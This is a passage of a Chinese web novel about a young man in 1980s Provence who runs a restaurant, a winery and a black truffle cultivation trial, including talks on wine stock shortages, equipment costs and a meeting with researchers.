“但罗南马上就要有新的作品了,夫人,您忘记了吗?罗南要在5月份参加普罗旺斯第一界甜品大赛,您一定要去现场尝尝。” “我当然记得了,略伦特。”桑松女士微笑着说,“但我更感兴趣的是罗南做的那些不能吃的甜品。” “哈哈,夫人的眼光和审美果然高,相信一般的艺术品已经无法进入您的眼睛了。”略伦特彻底放弃了抵抗。 既然这位女士今天不想聊美食活动的事情,那就当好情绪价值提供者吧。 略伦特的退出破坏了‘三角关系’,三个人之间一环接一环的‘接招’不见了踪影。 罗南早已看明白了对面两位的意图。 略伦特想要让桑松女士赞助她的活动,桑松女士想要他的作品。 但很明显,对面两人今天无论如何也达不成各自的目的了,今晚必然是一个失意的日子。 既然如此我来说说我的诉求? 罗南一边吃甜品,一边用闲聊的语气说: “虽然最近没有创作时间,但我相信这个契机不会遥远了,不知道两位知不知道,卢尔马兰要扩建了,而且要扩建不小的范围,那里未来可能要举办很多活动,其中一定有和艺术相关的身为卢尔马兰的‘女婿’,卢尔马兰作为东道主举办的活动我必须要参加啊。” 说完,罗南低头笑着继续吃甜品。 你们都钓完鱼了.现在该我抛饵了。 桑松女士停止了咀嚼,低头不语。 艺术活动? 什么时候? 略伦特用喝酒来掩饰吃惊。 卢尔马兰才拿到第一笔拨款不久.这么快就要扩建了? 梅纳村腾飞的标志就是它的扩张行为。 当天晚上,在戈尔德的略伦特和在马赛的桑松女士同时做出了一个决定——四处打听关于卢尔马兰的任何消息,一个都不放过。 4月悄然飞逝,很快就来到了月底。 这一天,罗南正在餐厅和亨利、特奥等兄弟喝酒,突然接到了一个电话。 来电话的人并不突然,是朱莉特,他们之间一直有密切的联系。 但朱莉特说的消息非常突然: “费尔南教授说他核实完消息了,让你尽快去一趟卡庞特拉。” 第445章 斯特斯加的第一个经营难题 黑松露实验林是罗南和卢卡斯一起做的生意,而且卢卡斯离开卢尔马兰前特意叮嘱罗南,有了消息要通知他。 和朱莉特挂了电话,罗南立即联系了卢卡斯,这个时候他人正在尼斯呢。 卢卡斯和罗南每过一段时间便会联系一次,罗南知道卢卡斯在尼斯落脚处的电话。 虽然回复朱莉特见面的时间在三天后,但卢卡斯第二天一早便开车返回卢尔马兰。 罗南在村口等他,没想到他不是自己一‘人’回来的。 首先跳下车子的是玛格丽特。 ‘女王’大人认出了罗南是她‘男朋友’的爸爸,再次见面格外亲切。 以前罗南摸她,她总是不情不愿。 这次主动把脑袋凑过来,还一直用身体拱罗南,似乎让他去带路呢。 “如果知道你也回来了,我就带着小黑一起来了。”罗南很早之前就想狠狠的摸摸玛格丽特的毛发,手感实在太好了,像是女孩子的头发一样。 这次终于摸了个够。 随后,卢卡斯从主驾驶下来,只是怀里还抱着一个小家伙。 它有着和玛格丽特类似的骨形,毛发比玛格丽特浅了许多,看起来有4、5个月大。 刚毛犬属于中大型犬,虽然只有4、5个月,但体型和重量都不小了,可卢卡斯还是拿它当宝宝一样抱着。 “上帝,你又买狗了?”罗南‘吃着碗里的看着锅里的’。 虽然手上摸着玛格丽特,但眼睛看的是卢卡斯怀里的那个。 卢卡斯紧了紧怀里的‘大宝宝’,给罗南介绍: “这是玛格丽特的‘妹妹’苏菲,也是来自繁育出玛格丽特的那个狗场。” 苏菲和她姐姐的性格截然相反。 见罗南看它,供着屁股就要靠过去,主动的不得了。 卢卡斯扶着苏菲不停扭动的屁股,笑着对罗南说: “玛格丽特的那个狗场需要提前好几个月订狗,这是我前几个月约的,这次去接狗,我也帮你订了一只,大概年底前就能排到。” 罗南从没有掩饰过对玛格丽特的‘眼馋’,也和卢卡斯说过许多次,想要一只松露圈猎犬在冬季作伴。 “可以选吗?”罗南腾出一只手去逗苏菲。 卢卡斯点头: “当然可以,苏菲和玛格丽特都是我选出来的。” “太棒了!”罗南兴奋的抱住玛格丽特。 系统里有一个可以甄别动物对哪些气味敏感的技能。 他可以带着松露去挑选那一批狗中对松露气味最敏感的小家伙。 如果一切顺利,今年年底的松露季,罗南就不再是‘孤家寡人’了! 在村口打了一个照面,卢卡斯把苏菲放回到车里: “小黑在哪里?” 他知道玛格丽特已经迫不及待的要见小黑了。 罗南指了一下村中心的位置: “在餐厅,今天佐伊在餐厅里见朋友,把两只狗也带去了。” 卢卡斯点了点头,招呼在罗南身边的玛格丽特也返回车上: “上车吧,我们开过去。” 说罢,卢卡斯也返回了车里。 但罗南将他拦住: “别开进去了,开进去你也要再开出来。” 卢卡斯不解的看罗南: “为什么?” 以前他去商业街给罗南送松露都是把车停到商业街的路口,或者罗南餐厅后面的空地啊。 罗南哭笑不得的说: “村里的所有车位全部停满了,我出来接你也是来给你找车位的。” 说完,罗南一路小跑去往村头的停车场: “你先别动,我去看看那里有没有空位置,如果这里没有,你就直接开回家吧,之后走去商业街,哎,你不知道现在想停个车可难了。” 卢卡斯只是离开了卢尔马兰一个月,感觉家乡又发生了翻天覆地的变化。 卢尔马兰再一次让他感觉到陌生。 罗南去村口的停车场看了一圈,发现果然没有位置,被逼无奈,卢卡斯只能把车停回了家里。 卢卡斯在卢尔马兰住的地方以前可以用‘荒芜’来形容。 为了建一所超级大的房子,把地址选择在了没有什么人烟的森林边上,那里已经偏远到进入狩猎范围里了。 以往,只有去卢卡斯家做客人才会出现在那片区域。 所以卢卡斯去村里都习惯开着车去,因为他家距离村中心有一段不短的距离。 但是这次卢卡斯回家,发现他家门口居然停着几辆车子,还有几批野餐的人。 更加意外的是,大门前的几步阶梯上也坐着一组吃饭的陌生人。 坐在阶梯的一家五口见卢卡斯带着两条狗从车上下来,用带有奇怪口音的法语问: “你也没在卢尔马兰找到停车的位置?” 卢卡斯的两条眉毛拧作一团。 听口音,是他最讨厌的比利时人。 果然,讨厌的比利时人见卢卡斯向着他们这个位置逼近,不悦的驱赶: “我们先找到的这个位置,而且这里没有地方留给你了。” 不远处有几道顺耳的法语响起: “过来吧伙计,来我们这里,我们这里可以休息,该死的,早知道卢尔马兰有这么多游客我就早点过来了。” 卢卡斯站在自己家的大门前,无语的连叹了好几口气。 他这‘穷乡僻壤’的地方,也成抢手的‘景区’了? 那卢尔马兰村里现在有多少人?? 放好车子,卢卡斯带着两个宝贝女儿去往罗南的餐厅。 这一路上,把他的眼睛都看直了。 刚刚罗南跟他说,这次复活节卢尔马兰来了许多游客,但他没说卢尔马兰还多了许多设施。 休业了许多年的游客中心重新敞开了大门、街道两边每隔几步就会有一组长椅、新建的卫生间、拔地而起的花坛、无数的新店铺,还有街头的涂鸦和数都数不过来的小吃摊子. “毫不夸张的说,我以为这里是梅纳村。”卢卡斯沧桑的脸庞上写满了不敢相信,“我这次只离开了一个多月,不是半年,但这一个月卢尔马兰的改变比之前半年的改变还让人难以置信。” 卢卡斯的出现,吸引了许多卢尔马兰的农夫。 老大哥回来了,大家自然都围过来。 几个桌子一拼变成了‘长桌会议’。 皮埃尔用明显开玩笑的语气说: “你话说的还是太早了,再过一周,不,再过三天,你会发现卢尔马兰又出现了新的变化,相信我,卢尔马兰的每一天都和前一天不一样了。” “你敢相信,卢尔马兰城堡的翻新进度都快到一半了,我上次去看它的时候,脚手架还没搭起来呢。” “听说最近村里许多人都把卧室收拾出来做了民宿,而且只要把牌子挂出去很快就有人订房,搞得我都想加入了现在周围的商机太多了!” 服务员放了许多杯子到长桌上,罗南紧随其后拿着四瓶粉红酒过来。 “今天的酒我请啊,大家随便喝。”罗南一点架子都没有的和农夫们挤着坐到一起。 卢卡斯笑着问罗南: “你这是怕我继续抢着请大家喝酒?” 全体大会后,为了帮助罗南在卢尔马兰推广粉红酒,卢卡斯连着请大家喝了好几天。 罗南不知道多少次让他别乱花钱。 “当然不是,你回来了我开心。”罗南给大家分杯子。 卢卡斯指了指落地窗外,开玩笑的说: “我不会跟你抢,你餐厅的生意这么好,听特奥说斯特斯加的旅游也搞得风生水起,连他都要去帮忙做导游了。” 罗南笑哈哈的说: “你别说,特奥导游做的还不错呢,我发现了,只要和嘴相关的活儿他都擅长。” 卢卡斯突然起了一个新话题: “现在斯特斯加有多少员工了?” 这些数据罗南了然于胸: “加上我和佐伊有17个人,如果算上你的话是18个。” 卢卡斯继续追问: “这些人现在全部在做旅游的项目?之后酿酒了还会继续招人吗?” 这个问题罗南也早就想过了: “等葡萄开始采摘,旅游项目就停了,游客们肯定不会对光秃秃的葡萄园感兴趣,之后这些做旅游的人手都去酿酒的各个环节,到时候看情况决定是否增添人手,增加也不会增加太多。” 卢卡斯喝了一口粉红酒,语气复杂的说: “恐怕得增加点人手,而且是不少的人手。” 罗南咂了下嘴: “斯特斯加之前的员工数量是15个,包括老板和老板的妻子,虽然手工酿制会增加一些劳动成本,但也只影响其中一个环节而已,我们现在是18个人,应该差不多了。” 葡萄酒酿制主要分为五个主要的步骤,细节不同但顺序肯定不会改变。 它们分别是采摘与分选、破皮与浸渍、发酵、陈酿与调配和最后的澄清与装瓶。 手工酿酒和机械酿酒最大的区别在破皮与浸渍这一步,其他步骤差别不太大。 “但是我们的规模更大啊。”卢卡斯难掩开心的说,“你的朋友起到了非常大的作用,在他的帮助下,斯特斯加下个月在尼斯的供应量可能要提高5000-10000瓶,我这次着急回来,也是想要把这个消息告诉你,并让你联系原先的老板提前备货。” “你是说切尔诺?”罗南脱口而出。 “是的,就是他。”卢卡斯耸肩,“我真的不敢相信,一个杂志编辑能认识那么多人,我在尼斯的这大半个月,他帮我引荐了三四十个人认识,我几乎每天都要见两到三个人。” 坐在一起喝酒的还有两个在斯特斯加工作的伙计,他们已经提前完成了今天的工作。 这两个人对斯特斯加的业务更加熟悉,惊喜的说: “马赛的市场渗透率提高了,尼斯这里的销量也提升了,上帝,这是天大的好消息!” 在去尼斯之前,卢卡斯已经在马赛开拓过一次市场了,并且非常成功。 卢卡斯敲了敲杯子,一向冷静的他也控制不住笑出声: “不是马赛和尼斯,而是整片沿海区域,罗南那名叫切尔诺的朋友对整片沿海地区都很熟悉,认识许多做餐饮和零售的人,等我在尼斯见完所有人,会沿着蔚蓝海岸一路向西拜访一遍。” 不等其他人给反应,卢卡斯看着罗南问: “我们应该如何感谢他呢?” 罗南按耐住激动的心情,想了几秒后开口: “等这次办完卡庞特拉的事情,我和你一起回尼斯,我们当面感谢他一次,其他的事情你就不用费心了。” “你还想做什么?”卢卡斯问罗南。 罗南‘高深莫测’的说: “想办法让他‘加薪升职’。” 罗南打算给实在的切尔诺一些同样实在的谢礼。 下个月伊内斯要带罗南和佐伊去看F1,他们有许多相处的时间。 罗南决定在伊内斯耳边好好的夸一夸这位《海岸》的编辑! 当晚,罗南给杰罗姆打去了电话。 通知他下个月尼斯的供货量有可能会提升的事情,让他提前做好准备。 杰罗姆听完这个消息,既开心又失落的说: “为什么,为什么在我‘退休’的最后几个月不停听到一个又一个的好消息,这是在向我证明,把斯特斯加交出去是一个无比正确的决定吗。” 先是用‘斯特斯加’为名号的旅游项目做的风生水起,之后马赛和尼斯市场接连传来‘捷报’。 斯特斯加这个经营了几十年的老家伙,在罗南的带领下变得活力无比。 “你看,你一说要退休,好消息就接连不断的出现,要我说你就别退休了。”罗南开玩笑的说,“这样斯特斯加会一直传来好消息。” 杰罗姆也用开玩笑的语气说: “可我不退休不行啊,按照你这个卖法,去年的库存可能坚持不到下一个采摘季了,我这里的酒窖越来越空了。” 酒庄产量的核心依据是历史销量和市场趋势预判。 过去三年,斯特斯加的销售数据平缓,渠道库存周转率也在一个稳定的数值内。 同时普罗旺斯粉红酒的市场没有出现什么重大利好消息,斯特斯加今年的产量和去年的偏差不大。 谁能想到,罗南让斯特斯加焕发第二春了呢? 罗南握紧话筒: “那如果不够卖了,我该怎么办呢?” 之前新老两任斯特斯加‘掌门人’达成过一致——如果罗南经营的过程中遇到什么问题,可以随时请教杰罗姆。 杰罗姆那颗有些许失落和自卑的心终于好受一些了: “这么快就遇到第一个经营难题了吗?” 他刚想‘奚落’两句,发现心情更加失落和自卑了。 供不应求这个经营难题,他一辈子都没遇到过.这太让人伤心了! 第446章 我的朋友,你太低调了! 坦白讲,杰罗姆应对库存积压压力颇有一些心得。 早年间,他经常过度乐观的预估经济形势、劝自己‘一年比一年好’.一到年中就要想办法清理库存。 但斯特斯加从未出现过供不应求的难题。 “如果卖不完,我可以一分钟内给你讲出十几种解决办法,例如降价倾销、卖给蒸馏酒厂和销毁等等,但是不够卖——” 杰罗姆停顿了许久才开口: “我只能告诉你我听来的办法,从来没有实施过,无法保证一定可行。” 罗南虚心的说: “我相信你的朋友们都是普罗旺斯葡萄酒领域的佼佼者,应该能从中找到一两条适合我的办法。” 杰罗姆回忆着说: “可行性最高、最简单的是从合作社酒农手里收购散酒重新包装,你不要这样看我,有多少人像你我一样嗜粉红酒为命?许多人一年只会喝上一两瓶,他们尝不出差距。” 罗南一边咧嘴一边摇头: “不行不行,这个不行,被人发现了,粉红酒在普罗旺斯更抬不起头了。” 本就有许多懒人用红、白葡萄酒勾兑图省事。 现在连酿制都不要了.这简直是自掘坟墓啊。 “嗯,我也不赞同这种做法,但是坦白讲这样做的人不在少数,在红葡萄酒和白葡萄酒中都出现过,尤其是便宜餐酒。” 罗南继续咧嘴: “但它不会出现在斯特斯加。” 就算是没有酒卖,罗南也不会去外面买散装酒,以次充好。 杰罗姆继续说道: “第二种方式是用往年基酒调配补量,不过这样调配出来的酒需要需标注NV无年份。” 有些酒庄会习惯将过去品质达标,但风格不够独特的酒液留存下来,专门留作调配使用,类似中餐中‘高汤’的作用。 也会有一部分酒庄特意加入陈年基酒以增加层次感。 操作步骤是将库存的基酒直接混入新酒,以增加酒量,来应对市场短缺。 “你留了基酒吗?”罗南问杰罗姆。 杰罗姆语气轻快的说: “虽然每年的产量过剩,但我有留基酒的习惯,我妻子说那是在浪费场地,但是谢天谢地,那些陈年酒桶也许有用武之地了。” 葡萄酒产地AOC规定,用往年基酒调配出来的酒必须标注NV无年份的标识,真正的老饕们是不屑于喝基酒调酒的。 只能说这是一个办法.不到万不得已罗南并不想采用。 “还有其他的办法吗?”罗南不死心的继续问。 杰罗姆沉吟了一会回复道: “还有一种解决方式是紧急启用‘配额制’,优先供应高端渠道,例如米其林餐厅、深度合作的进口商/分销商等等,不过这是高端酒庄在特殊年份使用的办法,普罗旺斯粉红酒市场上从未出现过这种制度。” 罗南继续问道: “具体是如何操作的?” 杰罗姆实事求是的说: “这个就不清楚了,如果启用了‘配额制’,酒便不再是纯粹的酒,而变成了‘期货’,只有那些最高端的酒庄才有这种本事,很遗憾,我并不认识这样的人,但我确信,这样的事情每时每刻都在普罗旺斯发生。” 杰罗姆都接触不到的强者,我去哪里‘取经’呢罗南忍不住腹诽起来。 这个时候,他又想到了那个‘新酒庄联盟’。 那些原本的巴黎精英们可能知道如何把酒像期货一样运营? 罗南决定在下个月的艾克斯第一届甜品大赛上,和赞助商伯纳德好好接触一下,看是否能对此有所帮助。 就像杰罗姆所说的那样,应对不够卖的难题,他的经验并不丰富,甚至可以用‘新手小白’来形容。 不过这家伙对器械和装置足够精通。 聊完‘供不应求’难题,杰罗姆又起了一个新的话题: “对了,我帮你找到了一台纯手工去梗压榨机。” 罗南顿时来了兴趣: “什么样子的,多少钱?” 虽然‘打包’走了一部分,斯特斯加依然还缺许多设备,杰罗姆主动承担下来了替罗南找设备的重任。 其中最重要的,就是去梗压榨机。 不过由于罗南需要纯手工压榨工作,市面上性价比合适的设备很少。 斯特斯加距离竣工还有不短的一段时间,杰罗姆让罗南别着急,慢慢等。 这还是杰罗姆第一次通知罗南关于压榨机的消息。 杰罗姆犹豫的说: “这台压榨机不是我之前用的那种,是更加先进的气囊压榨机,有一家酒庄只用了不到六个月就把这一整套手动压榨线淘汰,继续做全自动压榨处理,现在正在找买家呢。” “只用了不到六个月嘛?”罗南心动的问。 气囊压榨机的原理是通过充气橡胶气囊对葡萄进行均匀、可控的压力挤压,与传统的篮式压榨机相比,压榨更轻柔,还可以减少籽粒破碎带来的苦味。 苦味少,单宁含量就会降低,尤其适合酿制清爽型的粉红酒。 脑海里的知识还告诉他,气囊压榨的葡萄汁芳香物质损失减少30%,使得果香更加浓郁。 罗南喜出望外。 气囊压榨机这种葡萄酒行业的革命性技术,在1987年就已经出现了吗? 杰罗姆语气更加犹豫了: “是的,而且前六个月的使用率也不高,不过价格严重超预算了,而且超了许多,这一套要12万法郎,比传统的高出了一倍多呢。” 气囊压榨机是新出现的东西,管它被吹的天花烂坠,杰罗姆没有使用过,并不敢保证那是不是智商税。 杰罗姆本是想和罗南商量一下,不着急做决定,但罗南的语气已经给到了答案。 他迫切的问: “他们有几台?” 杰罗姆顿了一下: “只有一台” 这就要买了? 罗南咂了一下嘴: “怎么只有一台啊,那你知道去哪里可以买全新的气囊压榨机吗?” 这种新兴的压榨机可以有效的提高粉红酒的品质和档次,这笔钱得花! 杰罗姆阻拦道: “我认为你应该去看看再决定。” “当然要看看。”罗南笑着说,“我们去卖气囊压榨机的商铺去看看怎么样?你哪天有时间,我去接你。” 罗杰姆没有多言,回答罗南: “我随时都可以,半退休的老头子了,每天不是浇花就是养鸡,哪有什么正事.不过我得提醒你,现在市面上的全新气囊压榨机至少需要15万法郎,有些可以调控气囊压力的要卖到20多万法郎了。” 罗南的心瞬间被浇了一盆冷水。 他还需要两台压榨机。 该死的,钱钱钱钱钱钱。 买新商铺需要钱,买设备需要钱哪里都是花钱的地方。 后半年不会要‘节衣缩食’了吧? 事实上,罗南的经济情况比他想象中还要紧张。 两天后,他和卢卡斯开车前往卡庞特拉,找费尔南教授了解黑松露培育林的情况。 松露人工培育林项目只要花钱便是大手笔他的钱还能不能支撑下来呢? 正好罗南有在月底算账的习惯,在坐车去卡庞特拉的路上,做起了4月份的经济复盘。 首先,4月的第一部分收入是集市带来的。 罗南从3月底便开始复工去集市摆摊,经历了逐渐热闹的四月中,和异常繁忙的月底复活节,集市的收入恢复到一万多法郎的样子,和去年旅游季收入持平。 不过罗南相信下个月这部分收入会继续提高,因为旅行季是在4月末才到来的。 第二部分,是餐厅的收入。 除了餐厅的正常营业额外,还包括了罗南和托尔等人去梅纳村参加面包大赛的额外收入。 虽然旅行季只到来的了不到半个月,但游客暴涨和面包大赛的原因,4月份的餐厅净利润毫无意外的突破历史新高,来到了16万多法郎。 按照惯例,罗南给父母留了2万,其他的让母亲帮他存入银行。 第三部分,是卢尔马兰手工艺合作社的收入。 这一部分可能是4月份最让罗南意外的。 上一次桑德琳说,4月订单量较上个月只提高了30%左右,罗南理所应该的觉得自己大概能拿到5万多法郎的样子,因为3月的收入是4万多。 没想到月底一算,可以分到8万多法郎。 主要是由于售价更高的编制家具的在订单中的占比提高了许多,而且‘编制参观和体验’项目也收入了不少。 这种没做什么、也不用太辛苦,但收入蹭蹭涨的感觉让罗南‘欲罢不能’。 他决定5月份要多花一些时间和精力在‘卢尔马兰手工艺合作社’上,和桑德琳好好聊一聊和想一想未来这个组织的发展方向,下个月的目标是争取到10万! 最后一部分收入,来自斯特斯加的旅游项目。 这部分收入罗南没有计算成个人收入。 老板娘佐伊告诉他,斯特斯加月底的账面数字比月初多了将近三万。 要知道,这是在给15个村民发完工资后的数字,可见那些围绕旅行的项目有多赚钱了。 这个月斯特斯加更新了农用设备,还要买气囊压榨机,罗南决定之后不再乱花钱,并且尽可能多的存下更多,等到9月份全部用去收葡萄。 个人层面,在买完老尼莫的那5公顷北坡土地后,罗南只有30多万法郎的存款了,加上4月份的林林总总,总存款额度来到了60万这个数字。 别看后面有不少个零,但罗南坐在车上心里不停的打鼓。 今天要聊的话题肯定会围绕松露接种方式,那么无论最终选择用哪种方式,投入都是巨大的,而且是马上就要花出去的那种。 罗南心里嘀咕起来。 也不知道现在手里的这些钱够不够啊? 罗南一路想事情,卢卡斯开车的时候也不爱说话。 两个人就这样一路安静的开到了卡庞特拉那所来过一次的研究馆楼下。 “你那个朋友呢?”卢卡斯一边停车,一边四处找寻朱莉特的身影。 “她今天不来了。”罗南回答卢卡斯,“朱莉特最近在忙很重要的事情,抽不开身,她让我们自己过来和费尔南教授见面。” 事实上,罗南并不知道朱莉特这段日子在忙什么。 这个月初,朱莉特在卢尔马兰监督‘拔除计划’的推进情况。 月中,在她的号召下,卢尔马兰的农夫们又集体采购了‘气象保险’。 就像罗南之前对朱莉特保证的那样——他买,全村所有农夫都会买,无一例外。 那之后没两天,朱莉特就结束了在卢尔马兰的驻派工作,回阿维尼翁了。 而且她走的特别急,连和罗南吃饭见面的时间都没听,突然有一天就消失了。 她离开的消息是通过电话告诉罗南的。 卢卡斯得知朱莉特不会一起出席,有些担忧的问罗南: “没有政府的人‘压’着,那些研究员不会不听我们的,一意孤行的推进实验吗?” 双方的第一次见面还算顺利。 但卢卡斯担心但是由于有沃克吕兹省农业部的人在场的原因,因为这次实验林政府会补贴不少东西,全部育苗都是免费的。 菌丝培育全部要在实验室内进行,还要经历很长时间的观察。 可以说,农业部承担走了初期最大的一部分预算。 再加上农业部的这层身份,谁会给他们找不痛快啊? 但这次.情况会不会大不一样了? 罗南没有什么表情的摇了摇头: “不知道,进去见机行事吧。” 随即,他迈出了坚定的步伐,眼神坚毅无比: “不过他们休想想浪费我一分钱,想拿走我的钱不是这么容易的,必须给我花在‘刀刃’上!” 我现在穷啊!! 上一次罗南和卢卡斯过来,等了一会费尔南教授才出来。 这次他们进入那间会议室时,费尔南教授已经在那里坐着了。 这次出席会议的除了有他的副手迪迪埃,还有五六个陌生的家伙,他们无一例外都穿着代表研究员的‘白大褂’。 费尔南教授符合罗南对科研人员全部的刻板印象。 面对罗南的握手示好,他没有表现出任何热情和微笑,只是冰冷的直奔主题: “我找到你所说的实验了,它确实存在并成功过,那种接种方式叫——黑松露组培苗共生体构建法,我们这个月做了一些模拟实验,可以效仿。” 罗南也一点圈子都没绕: “成本呢?这种种植方式会增加多少成本?” 费尔南教授推了一下眼镜: “普罗旺斯森林局资助了‘黑松露组培苗共生体构建法’的实验,在培育好菌丝的宿主树入土前,你们只需要承担土壤的清理和改进费用,并更新灌溉系统。” “森林局找你们了?”罗南一下子坐直身体,双眼放光,“他们是如何参与进来的?” 布鲁诺我的好朋友! 你做事怎么这么低调啊.都不和我提前打个招呼吗?! 请假条 今日无更,莫等。 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第447章 又同化了一个! 回答罗南问题的是费尔南教授的副手迪迪埃: “大概半个多月前,森林局突然找到了我们,了解黑松露人工培育的实验,当时我们已经找到了‘黑松露组培苗共生体构建法’的资料,正在做无菌试验,他们的人来了好几次,还拿走了许多试验报告.那之后的某一天,通知我们—— 如果试验宿主树选取本土冬青栎,那么乔木的成本可以由森林局来提供,因为冬青栎防风耐火,还可以防止水土流失,会是将来普罗旺斯森林生态中的关键作物,他们本就打算大面积移植冬青栎做保护屏障,既然大家都是在为普罗旺斯的生态做贡献,那么这部分成本由森林局来承担。” 罗南强压住激动的心情,继续问: “森林局只负责这一次试验的乔木成本,还是只要未来宿主树选择冬青栎,他们就会一直承担?” 这一次和普罗旺斯黑松露研究协和的合作是纯试验目的,只是为了找到培育出人工黑松露的科学办法。 一旦成功,罗南要加大投入增加产量。 他非常关心这次资助是一次性的,还是长期的。 迪迪埃教授和旁边的同事交换了一下眼神: “当时说的似乎是,只要宿主树是冬青栎且在他们这次移植计划周期内,森林局就会承担乔木的成本,但只限于黑松露人工培育试验。” 在信息闭塞的80年代,政府部门之间都不了解对方在做什么、目标是什么,更不要提让政府部门了解每一个科研机构在做什么试验了事实上,许多部门和机构都可以合作起来、整合资源让事情变得更加有效和简单。 而罗南的作用,就是通过他越来越庞大的人脉网络,让大家的信息快速互通起来。 布鲁诺毫无疑问是罗南的朋友,这毋庸置疑。 但这层关系没有好到让布鲁诺可以为了罗南开设某些便利条件的地步,森林局能够参与进来,完全是因为双方在目的上确实有重合的地方。 去年的大火让森林局格外重视作物的防风耐火属性,而恰巧在黑松露人工培育试验中有一种宿主树满足他们的条件。 既然如此,就不要浪费资源了啊。 “太棒了!”罗南忍不住说道,“森林局还说了什么?” 罗南打算多了解一些细节,这样之后去感谢布鲁诺的时候也有可以说的东西了。 迪迪埃继续回答问题之前,费尔南教授粗鲁的打断了他们的对话: “不要聊这些无关紧要的话题了。” 他看着罗南问: “我们抓紧时间进入下一个阶段,你们那片试验林海拔多少?坡度多少?是否已经清理完毕?我们什么时候能过去看看?” 从理论上讲,人工培育松露的步骤大体有六步。 第一步是宿主树选择与育苗。 用哪种树,用什么方式接种? 第二步是苗圃管理。 这一步的工作是培育菌丝。 第三步是土壤改良。 土壤的酸碱度,地形是否合适? 第四步是定植。 种植密度的确认,保护措施完善等都是在这一步完成。 接下来是田间管理。 育苗已栽种入土,之后用3-5年的时间精心呵护地下的菌丝尽可能多的成活下来。 最后一步是收获。 这一步就不用过多解释了——拿麻袋装钱还是血本无归,只在一念之间。 双方上一次、包括这一次的交谈全部是在围绕人工培育松露的第一步和第二步做探讨。 虽然已经确认了最佳接种方式,但费尔南教授话题突然跳到第三步,还是有些突然。 就比如卢卡斯。 他还没弄明白什么是‘黑松露组培苗共生体构建法’呢,怎么就说土壤和地形了? 罗南收回看迪迪埃的视线,看向费尔南教授: “您不需要给我们介绍一下‘黑松露组培苗共生体构建法’吗?” 罗南也要装一装‘懵懂无知’的样子,上一次他只是听说有那么一种试验,对细节可是不了解呢。 但费尔南教授并不想浪费这个时间: “和你们说了你们也不懂,那太专业了,你只需要记住,我们在使用的接种方式是现在世界上最先进的无菌培育方式就好了。” “你们的地在哪里?海拔多少?坡度多少?是否已经清理完毕?什么时候能带我们去看看?”他又重复了一遍刚刚的问题。 卢卡斯的眉头不自然的皱了起来。 你看看,我就说这些研究员不会听我们的吧? 这完全不给说话的空间啊! “我们已经耽误了一个多月的时间,效率高一些,今年还有机会定植,效率低就要错过今年的最佳月份等明年了。”费尔南教授的表情比两位‘金主爸爸’还着急,“你们知道晚一年收获意味着什么吗?” 和我比效率是吧? 罗南‘蹭’的一下站起来: “要不然今天去看?我们路上聊?” 卢卡斯和迪迪埃等科研人员像见鬼了一样看罗南。 这人神经病吧? 我们才坐到一起多久啊? 费尔南教授也站了起来: “我手头还有一些事情,一个半小时后出发,你们可以先出去吃点东西,我们这里不管饭。” 说是一个半小时,费尔南教授的团队在1个小时后就催促罗南出发了。 下了车,走去试验林的路上,卢卡斯又问了几次‘黑松露组培苗共生体构建法’的具体问题,费尔南全部以‘那太专业了,说了你们也不懂’的理由搪塞开来。 “不用测量了,这里的坡度小于15%,向阳背风,海拔300米,石灰岩质土壤,没有任何粘土掺杂,pH值在7.5~8.5区间,钙、磷、钾丰富,低氮。”既然要比‘效率’,那罗南也就不演戏了。 早在一个多月前,罗南就给了卢卡斯钱让他着手做这片试验林的土壤改良。 费尔南教授的脑袋里只能记得试验数据和结论,记不住人。 不过他对罗南的印象挺深刻。 因为这个‘松露猎人’格外的专业。 你再专业,能有我专业? 这片土壤的性质没有问题,但你以为这就够了吗? “松露对土壤和湿度要求很高,还需要——” 他刚说了两句,就被罗南‘高效’的打断: “滴灌系统我已经提前定好,但是排线需要和你们一起讨论,因为我不确定密度,既然你们来了,今天就把线路定一下吧。” 迪迪埃默默叹了一口气。 教授已经很‘高效’了,这里又来了一个更加‘高效’的投资人。 未来几年有得忙喽。 两个半小时后。 费尔南教授一边督促手下做土壤检测和采样,一边语速极快的对罗南和卢卡斯说: “‘黑松露组培苗共生体构建法’的具体操作是从野生松露子实体分离菌丝,将菌丝悬浮液与宿主树幼苗根系共同孵育3-6个月,这个过程中我们会模拟春季地温并且避光,因为菌丝厌光炼苗阶段污染控制” 罗南的专业性让费尔南改变了态度。 即使卢卡斯不再问了,他也主动把之前缺失的知识补给他们。 但卢卡斯现在一个头有两个大。 确实不该问啊。 教授说的这些东西太专业了,他完全听不懂。 试验林要尽量保证无菌状态,他不能在这里抽烟。 于是卢卡斯叼着没有点燃的香烟不停的看罗南。 这么多晦涩难懂的专有名字,为什么罗南不仅听的津津有味,还能和费尔南教授聊的有来有回的呢? “菌丝和宿主树共生不受季节限制对不对?” “是的,一年四季都可以进行,我们的培育室会恒定在春天的状态。” “3-6个月太宽泛了,具体多久可以培育完成?” “我预估至少要5个月,这样才能保证感染率是合格的。” “预计感染率有多少?” 费尔南教授想了想: “80%左右。” 罗南点了点头,不再说什么。 费尔南教授记不住人。 但罗南记人的能力很不错,他清楚记得这位教授经常拆自己团队的台。 费尔南习惯说最下限的数字。 也就是说,宿主树根感染率肯定比80%高,说不定能达到90%甚至以上。 这可比之前的50%高出了近一倍了! 接种这一步的成功率提高一倍,在之后所有技术都没有提升的前提下,成果率理论上讲也应该提高一倍。 但之后的技术怎么可能没有革新呢? 罗南的【种植】在5个月之内一定能升级,入土后,一定可以提供更加有效的种植建议。 “在你们培育的这5个月中,我们要配合你们做什么?”罗南转头问费尔南教授。 费尔南已经忘记了他之前对罗南等人‘听不懂专业内容’的评价,很认真的解释: “土壤和灌溉系统准备就位,下一步我要着手解决土壤除菌和透气性的问题,力争在定植之前找到有效的提升办法,这五个月会有小组持续在这里做试验,你们要配合的是提供资金支持,大概12万法郎左右。” 卢卡斯不知第多少次想要点烟了。 初期投入只有12万.再加上之前土壤改良的那10万。 这次的投入低了太多太多。 罗南是怎么做到的啊? 怎么哪里都有抢着给他买单的人?? 罗南‘高效’的回答: “钱我明天让人给你们送来,还有除了钱,我应该还可以给你提供其他的帮助。” “比如?”费尔南扭头看罗南。 罗南走向采集土壤试验的‘白大褂们’: “你说的那两个试验我也想想,如果有好的建议随时联系你们。” 费尔南想都没想便点头: “可以。” 从松露试验林回到卢尔马兰。 罗南立即去往巴蒂的院子找桑德琳。 旅游季使得体验编制项目的游客增多,桑德琳几乎每天都要来这里看看。 